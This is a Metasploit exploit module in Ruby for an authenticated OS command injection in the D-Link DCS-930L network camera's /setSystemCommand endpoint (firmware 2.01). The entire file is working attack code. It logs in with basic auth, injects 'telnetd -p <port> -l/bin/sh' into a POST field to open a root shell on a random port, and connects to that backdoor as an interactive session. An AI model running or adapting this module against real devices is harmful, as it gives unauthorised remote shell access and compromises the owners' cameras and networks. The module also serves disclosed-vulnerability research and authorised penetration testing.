##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
'Description' => %q{
The D-Link DCS-930L Network Video Camera is vulnerable
to OS Command Injection via the web interface. The vulnerability
exists at /setSystemCommand, which is accessible with credentials.
This vulnerability was present in firmware version 2.01 and fixed
by 2.12.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 20 2015',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
], self.class)
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25)
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD'] || ''
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{peer} - Trying to login with #{user} : #{pass}")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
print_good("#{peer} - Successful login #{user} : #{pass}")
end
def exploit_telnet
telnet_port = rand(32767) + 32768
print_status("#{peer} - Telnet Port: #{telnet_port}")
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
telnet_request(cmd)
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
end
add_socket(sock)
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
end
handler(sock)
end
def telnet_request(cmd)
uri = '/setSystemCommand'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'ReplySuccessPage' => 'docmd.htm',
'ReplyErrorPage' => 'docmd.htm',
'SystemCommand' => cmd,
'ConfigSystemCommand' => 'Save'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /BusyBox/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end
